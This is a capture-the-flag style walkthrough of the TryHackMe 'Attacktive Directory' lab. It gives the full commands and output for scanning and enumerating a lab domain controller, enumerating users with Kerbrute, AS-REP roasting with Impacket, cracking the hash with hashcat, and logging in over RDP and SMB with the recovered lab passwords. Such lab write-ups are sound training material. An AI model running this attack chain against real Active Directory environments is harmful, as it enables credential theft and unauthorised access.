# Attacktive Directory
> [!note]
> ["Attacktive Directory" on TryHackMe](https://tryhackme.com/room/attacktivedirectory)
## Welcome to Attacktive Directory
As usual, we start off with an [[Nmap]] scan. Our target IP address is 10.10.177.198.
```bash
sudo nmap -v -oA attacktive-directory -Pn -A -T4 -sS \
-script vuln -p- 10.10.177.198
```
This gives us the following results.
```
# Nmap 7.92 scan initiated Thu Dec 30 20:16:35 2021 as: nmap -v -oA attacktive-directory -Pn -A -T4 -sS -script vuln -p- 10.10.177.198
Pre-scan script results:
|_broadcast-avahi-dos: ERROR: Script execution failed (use -d to debug)
Increasing send delay for 10.10.177.198 from 0 to 5 due to 2065 out of 5162 dropped probes since last increase.
Increasing send delay for 10.10.177.198 from 5 to 10 due to 11 out of 14 dropped probes since last increase.
Nmap scan report for 10.10.177.198
Host is up (0.18s latency).
Not shown: 65507 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-server-header: Microsoft-IIS/10.0
|_http-csrf: Couldn't find any CSRF vulnerabilities.
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-12-31 03:31:28Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
|_ssl-ccs-injection: No reply from server (TIMEOUT)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
|_ssl-ccs-injection: No reply from server (TIMEOUT)
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49695/tcp open msrpc Microsoft Windows RPC
49823/tcp open msrpc Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=12/30%OT=53%CT=1%CU=35966%PV=Y%DS=4%DC=T%G=Y%TM=61CE7D
OS:75%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10B%TI=I%CI=I%II=I%SS=S%TS
OS:=U)OPS(O1=M506NW8NNS%O2=M506NW8NNS%O3=M506NW8%O4=M506NW8NNS%O5=M506NW8NN
OS:S%O6=M506NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y
OS:%DF=Y%T=80%W=FFFF%O=M506NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD
OS:=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%
OS:S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD
OS:=Z)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false
TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 34.37 ms 10.13.0.1
2 ... 3
4 183.65 ms 10.10.177.198
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 30 20:48:05 2021 -- 1 IP address (1 host up) scanned in 1890.41 seconds
```
We'll use [[enum4linux]] to gather some additional information from the Samba shares (139/445) on the target.
```bash
enum4linux 10.10.177.198
```
This produces a lot of noise (I've all of the output to STDERR below) as the target is fairly locked down. But there's a few interesting things here.
```
enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Thu Dec 30 20:55:33 2021
==========================
| Target Information |
==========================
Target ........... 10.10.177.198
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
=====================================================
| Enumerating Workgroup/Domain on 10.10.177.198 |
=====================================================
[E] Can't find workgroup/domain
=============================================
| Nbtstat Information for 10.10.177.198 |
=============================================
Looking up status of 10.10.177.198
No reply from 10.10.177.198
======================================
| Session Check on 10.10.177.198 |
======================================
[+] Server 10.10.177.198 allows sessions using username '', password ''
[+] Got domain/workgroup name:
============================================
| Getting domain SID for 10.10.177.198 |
============================================
Domain Name: THM-AD
Domain Sid: S-1-5-21-3591857110-2884097990-301047963
[+] Host is part of a domain (not a workgroup)
=======================================
| OS information on 10.10.177.198 |
=======================================
[+] Got OS info for 10.10.177.198 from smbclient:
[+] Got OS info for 10.10.177.198 from srvinfo:
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
==============================
| Users on 10.10.177.198 |
==============================
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED
==========================================
| Share Enumeration on 10.10.177.198 |
==========================================
do_connect: Connection to 10.10.177.198 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available
[+] Attempting to map shares on 10.10.177.198
=====================================================
| Password Policy Information for 10.10.177.198 |
=====================================================
[E] Unexpected error from polenum:
[+] Attaching to 10.10.177.198 using a NULL share
[+] Trying protocol 139/SMB...
[!] Protocol failed: Cannot request session (Called Name:10.10.177.198)
[+] Trying protocol 445/SMB...
[!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.
[E] Failed to get password policy with rpcclient
===============================
| Groups on 10.10.177.198 |
===============================
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
========================================================================
| Users on 10.10.177.198 via RID cycling (RIDS: 500-550,1000-1050) |
========================================================================
[I] Found new SID: S-1-5-21-3591857110-2884097990-301047963
[I] Found new SID: S-1-5-21-3532885019-1334016158-1514108833
[+] Enumerating users using SID S-1-5-21-3591857110-2884097990-301047963 and logon username '', password ''
S-1-5-21-3591857110-2884097990-301047963-500 THM-AD\Administrator (Local User)
S-1-5-21-3591857110-2884097990-301047963-501 THM-AD\Guest (Local User)
S-1-5-21-3591857110-2884097990-301047963-502 THM-AD\krbtgt (Local User)
S-1-5-21-3591857110-2884097990-301047963-503 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-504 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-505 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-506 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-507 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-508 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-509 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-510 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-511 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-512 THM-AD\Domain Admins (Domain Group)
S-1-5-21-3591857110-2884097990-301047963-513 THM-AD\Domain Users (Domain Group)
S-1-5-21-3591857110-2884097990-301047963-514 THM-AD\Domain Guests (Domain Group)
S-1-5-21-3591857110-2884097990-301047963-515 THM-AD\Domain Computers (Domain Group)
S-1-5-21-3591857110-2884097990-301047963-516 THM-AD\Domain Controllers (Domain Group)
S-1-5-21-3591857110-2884097990-301047963-517 THM-AD\Cert Publishers (Local Group)
S-1-5-21-3591857110-2884097990-301047963-518 THM-AD\Schema Admins (Domain Group)
S-1-5-21-3591857110-2884097990-301047963-519 THM-AD\Enterprise Admins (Domain Group)
S-1-5-21-3591857110-2884097990-301047963-520 THM-AD\Group Policy Creator Owners (Domain Group)
S-1-5-21-3591857110-2884097990-301047963-521 THM-AD\Read-only Domain Controllers (Domain Group)
S-1-5-21-3591857110-2884097990-301047963-522 THM-AD\Cloneable Domain Controllers (Domain Group)
S-1-5-21-3591857110-2884097990-301047963-523 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-524 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-525 THM-AD\Protected Users (Domain Group)
S-1-5-21-3591857110-2884097990-301047963-526 THM-AD\Key Admins (Domain Group)
S-1-5-21-3591857110-2884097990-301047963-527 THM-AD\Enterprise Key Admins (Domain Group)
S-1-5-21-3591857110-2884097990-301047963-528 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-529 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-530 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-531 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-532 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-533 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-534 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-535 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-536 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-537 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-538 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-539 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-540 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-541 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-542 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-543 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-544 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-545 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-546 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-547 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-548 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-549 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-550 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1000 THM-AD\ATTACKTIVEDIREC$ (Local User)
S-1-5-21-3591857110-2884097990-301047963-1001 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1002 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1003 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1004 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1005 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1006 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1007 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1008 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1009 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1010 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1011 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1012 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1013 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1014 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1015 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1016 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1017 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1018 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1019 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1020 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1021 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1022 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1023 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1024 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1025 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1026 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1027 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1028 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1029 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1030 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1031 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1032 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1033 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1034 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1035 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1036 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1037 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1038 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1039 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1040 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1041 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1042 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1043 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1044 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1045 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1046 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1047 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1048 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1049 *unknown*\*unknown* (8)
S-1-5-21-3591857110-2884097990-301047963-1050 *unknown*\*unknown* (8)
[+] Enumerating users using SID S-1-5-21-3532885019-1334016158-1514108833 and logon username '', password ''
S-1-5-21-3532885019-1334016158-1514108833-500 ATTACKTIVEDIREC\Administrator (Local User)
S-1-5-21-3532885019-1334016158-1514108833-501 ATTACKTIVEDIREC\Guest (Local User)
S-1-5-21-3532885019-1334016158-1514108833-502 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-503 ATTACKTIVEDIREC\DefaultAccount (Local User)
S-1-5-21-3532885019-1334016158-1514108833-504 ATTACKTIVEDIREC\WDAGUtilityAccount (Local User)
S-1-5-21-3532885019-1334016158-1514108833-505 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-506 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-507 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-508 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-509 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-510 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-511 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-512 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-513 ATTACKTIVEDIREC\None (Domain Group)
S-1-5-21-3532885019-1334016158-1514108833-514 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-515 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-516 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-517 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-518 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-519 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-520 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-521 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-522 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-523 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-524 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-525 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-526 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-527 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-528 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-529 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-530 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-531 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-532 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-533 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-534 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-535 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-536 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-537 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-538 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-539 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-540 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-541 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-542 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-543 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-544 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-545 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-546 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-547 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-548 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-549 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-550 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1000 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1001 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1002 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1003 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1004 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1005 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1006 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1007 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1008 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1009 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1010 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1011 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1012 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1013 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1014 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1015 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1016 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1017 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1018 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1019 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1020 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1021 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1022 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1023 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1024 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1025 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1026 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1027 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1028 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1029 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1030 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1031 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1032 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1033 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1034 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1035 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1036 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1037 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1038 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1039 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1040 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1041 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1042 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1043 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1044 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1045 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1046 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1047 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1048 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1049 *unknown*\*unknown* (8)
S-1-5-21-3532885019-1334016158-1514108833-1050 *unknown*\*unknown* (8)
==============================================
| Getting printer info for 10.10.177.198 |
==============================================
Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED
enum4linux complete on Thu Dec 30 21:05:30 2021
```
There's honestly not much here, though we can see that the NETBIOS domain name for the target is THM-AD.
The AD domain itself is using the standard (invalid) .local TLD, but that's not actually something that [[enum4linux]] tells us - instead, we can see this in the earlier output from [[Nmap]].
## Enumerating users via Kerberos
We'll now try to enumerate users using [[Kerbrute]] and [the provided user list](https://github.com/Sq00ky/attacktive-directory-tools/blob/master/userlist.txt).
```bash
kerbrute userenum --dc 10.10.177.198 \
--domain spookysec.local \
--output attacktive-director.kerbrute \
userlist.txt
```
This produces the following output.
```
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 12/30/21 - Ronnie Flathers @ropnop
2021/12/30 21:12:56 > Using KDC(s):
2021/12/30 21:12:56 > 10.10.177.198:88
2021/12/30 21:12:56 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:12:59 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:13:03 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:13:05 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:13:20 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:13:30 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:13:49 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:13:58 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:14:55 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:15:14 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:17:10 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:20:59 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:22:12 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:26:17 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:27:26 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:29:37 > [+] VALID USERNAME:
[email protected]
2021/12/30 21:35:06 > Done! Tested 73317 usernames (16 valid) in 1330.206 seconds
```
We'll be targeting the svc-admin and backup accounts. (These are supposed to "jump out" at me, but honestly I'm not sure why they're more interesting than the other users, or administrator. Maybe because they're *not* obviously people but also not the administrator account?)
## Abusing Kerberos
We're going to try [AS-REP Roasting](https://blog.certcube.com/as-rep-roasting-attack/) using [[Impacket]]'s GetNPUsers.py script. We first create an `attacktive-directory.targets` file containing the following:
```
svc-admin
backup
```
Then, we feed this to the GetNPUsers.py script.
```bash
python3 \
/usr/share/doc/python3-impacket/examples/GetNPUsers.py \
-outputfile attacktive-directory.getnpusers \
-usersfile attacktive-directory.targets \
-dc-ip 10.10.177.198 spookysec.local/
```
GetNPUsers.py reports that backup isn't vulnerable to [[AS-REP roasting]], but svc-admin *is* vulnerable and we get back a valid [[Hashcat]] password hash.
A quick lookup in the [[Hashcat]] [example hashes wiki page](https://hashcat.net/wiki/doku.php?id=example_hashes) shows that this is a "[[Kerberos]] 5, etype 23, AS-REP" hash ([[Hashcat]] mode 18200). We'll crack this using [the provided password list](https://github.com/Sq00ky/attacktive-directory-tools/blob/master/passwordlist.txt).
```bash
hashcat -m 18200 \
-O attacktive-directory.getnpusers \
passwordlist.txt
```
This reveals that the password for the svc-admin account is `management2005`.
Before moving on, we'll connect to the target as svc-admin using [[XFreeRDP]] to get the first flag.
```bash
xfreerdp /dynamic-resolution +clipboard /cert:ignore \
/v:10.10.177.198 /u:svc-admin /p:management2005
```
This flag is in a file called user.txt on svc-admin's desktop.
## Back to the basics
We're going to drop down and use [[smbclient]] to enumerate potential shares on the target. This is where the NetBIOS domain name we discovered above comes in handy (we need to supply it with the `-L` switch).
```bash
smbclient -L THM-AD -I 10.10.177.198 \
-U svc-admin%management2005
```
Which gives us the following output.
```
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backup Disk
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to THM-AD failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```
There's six shares, but only five of these are disks. We'll poke around a bit using `smbclient //THM-AD/${SHARENAME} -I 10.10.177.198 -U svc-admin%management2005`; as one might guess, //THM-AD/backup contains a `backup_credentials.txt` file.
The contents of this file naively appear to be base64 encoded, and indeed piping it through `base64 -d` reveals that the password for the backup account is `backup2517860`.
We'll again pause to connect to the target as backup to get the second flag.
```bash
xfreerdp /dynamic-resolution +clipboard /cert:ignore \
/v:10.10.177.198 /u:backup /p:backup2517860
```
